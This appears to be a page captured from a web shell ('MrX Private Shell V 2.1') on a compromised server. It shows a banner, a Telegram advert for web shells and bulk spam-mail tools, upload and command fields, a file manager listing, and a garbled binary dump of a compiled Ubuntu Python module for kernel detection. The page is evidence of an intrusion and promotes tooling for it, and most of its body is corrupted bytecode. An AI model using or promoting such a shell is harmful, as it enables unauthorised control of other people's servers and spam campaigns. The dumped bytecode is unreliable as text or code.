__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

���g���>�SSKrSSKrSSKrSSKJr "SS\5rg)�N)�Popenc�N�\rSrSrS
SjrSrSrSrSrSr	S	r
S
rSrSr
g)�KernelDetection�Nc��U(a"Xl[R"U5Ulg[R"5 [R
"5 [R"S5Ul[R"U5Ulg�N)�	apt_cache�apt_pkg�DepCache�apt_depcache�init_config�init_system�Cache)�self�caches  �?/usr/lib/python3/dist-packages/UbuntuDrivers/kerneldetection.py�__init__�KernelDetection.__init__ sX���"�N� '� 0� 0�� 7�D�����!����!�$�]�]�4�0�D�N� '� 0� 0�� 7�D��c���[R"S5nURU5nURU5nU(aNURS5<SURS5<3nURS5<SURS5<3n[R
"SU<SU<35 SU<SU<3n[
URS	55nUR5 UR(+$)
Nz(.+)-([0-9]+)-(.+)��-�z
Comparing z with zdpkg --compare-versions z gt � )
�re�compile�match�group�logging�debugr�split�communicate�
returncode)r�term1�term2�pattern�match1�match2�command�processs        r�_is_greater_than� KernelDetection._is_greater_than*s����*�*�1�2�����u�%�����u�%���%�|�|�A��%�|�|�A��0�E�%�|�|�A��%�|�|�A��0�E�	�
�
��u�=�>��%�!����
�
�c�*�+�������%�%�%�%rc��[R"S5nURU5nSnU(aURS5nU$)Nz2linux-image-([0-9]+\.[0-9]+\.[0-9]+)-([0-9]+)-(.+)��)rrrr)r�
candidates�imager&r�flavours      r�_get_linux_flavour�"KernelDetection._get_linux_flavour=s9���*�*�R�S���
�
�e�$������k�k�!�n�G��rc��URnURS5(a9SU;a3UR(d URR	U5(aU$g)N�linux-image�extra)�name�
startswith�current_verr�marked_install)r�pkg�package_names   r�
_filter_cache�KernelDetection._filter_cacheFsJ���x�x���#�#�M�2�2��<�'�S�_�_�-1�->�->�-M�-M�c�-R�-R���rc��SnSnSnSUS:XaSOS-n[R"S5n[URURR
5H{nU(dMUR
U5nU(dM&URS5n	URS5<SURS	5<3n
URU
U5(dMwU
nU	nM} U(Ga�US:XaURSS5nOUnURURVs/sHEnURRRU5(dM/URRPMG n
nU
(GaXSnU
H�nURUnURU5(ahU(a_UR(d URR!U5(a,URUS5URUS5:�aUnM�M�M�M�M� US
:Xa�URURVs/sHEnURRRS5(dM/URRPMG n
nU
(aIUR%X�5nSnU
H nURSU-5(dMUn O U(dU
SnU$UnU$s snf!["a GMif=fs snf)
z7Get the linux headers, linux-image or linux metapackager.zlinux-%s�headersr1z,linux-image-(?:unsigned-)?(.+)-([0-9]+)-(.+)rrrr�metazlinux-z	linux-%s-)rr�mapr>r	�packagesrrr+�replace�rev_depends_list�
parent_pkgr8r9r:rr;�KeyErrorr3)r�target�metapackage�
image_package�version�prefixr&r=r�current_package�current_version�target_package�dep�reverse_dependencies�	candidate�
candidate_pkgr2�
linux_metarBs                   r�_get_linux_metapackage�&KernelDetection._get_linux_metapackageOs������
����F�i�,?�y�W�M���*�*�K�L���� 2� 2�D�N�N�4K�4K�L�L��|��
�
�l�3���5�&+�k�k�!�n�O�16���Q��16���Q��'A�O��,�,�_�-4�6�6�"1��(7�
�M� ���"�!.�!6�!6�w�	�!J��!.��CG�>�>�R`�Ca�%5�%5�D6�$a�D6�C�9<���9L�9L�9W�9W�X^�9_�%8�C�N�N�$7�$7�D6� �$a�$�!��!5�I�!�(,���y�(A�
�%�0�0��8�8�m�)�5�5��9J�9J�9Y�9Y�Zg�9h�9h�$�,�,�V�R�8�;�;N�;N�v�WY�;Z�Z�*3�K�[�:i�?L�8�"6��V�#�KO�>�>�Ze�Kf�-=�-=�L>�,k�L>�C�AD���AT�AT�A_�A_�`h�Ai�-@�C�N�N�,?�,?�L>�(�,k�+�"&�"9�"9�:N�"_��%'�
�$8�D�#���{�g�/F�G�G�-1�
� %�	%9� *�*>�q�*A�K���+5�K����G$a��$�!� �!��
,ks+�.K�K�/BK�!.K�K�
K�Kc�$�URS5$)�5Get the linux headers for the newest_kernel installedrA�rV�rs r�get_linux_headers_metapackage�-KernelDetection.get_linux_headers_metapackage�s���*�*�9�5�5rc�$�URS5$)rYr1rZr[s r�get_linux_image_metapackage�+KernelDetection.get_linux_image_metapackage�s���*�*�7�3�3rc�$�URS5$)z9Get the linux metapackage for the newest_kernel installedrBrZr[s r�get_linux_metapackage�%KernelDetection.get_linux_metapackage�s���*�*�6�2�2rc��UR5nSnURRURU5nURRS5HHnUH?upVnUR
S5(dMUR5RSS5n MF MJ U$![a [R"SU-5 gf=f)Nr.�Dependsr6zlinux-image-z#No dependencies can be found for %s)r_r�get_candidate_verr	�depends_list_str�getr9�striprErHr�error)r�linux_image_meta�
linux_versionrS�dep_list�dep_name�dep_ver�dep_ops        r�get_linux_version�!KernelDetection.get_linux_version�s����;�;�=���
�	��)�)�;�;�D�N�N�K[�<\�]�I�%�6�6�:�:�9�E��19�-�H�v��*�*�=�9�9�(0���(8�(@�(@��QS�(T�
��2:�F�$����	��M�M�?�CS�T�U��	�s�A"B%�:)B%�%#C�
C)r	rr)�__name__�
__module__�__qualname__�__firstlineno__rr+r3r>rVr\r_rbrq�__static_attributes__�rrrrs1��8�&�&��B�H6�4�3�rr)r
rr�
subprocessr�objectrrxrr�<module>r{s!��.��	��Z�f�Zr

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 153 B 0644
detect.cpython-313.pyc File 66.93 KB 0644
kerneldetection.cpython-313.pyc File 7.51 KB 0644
Filemanager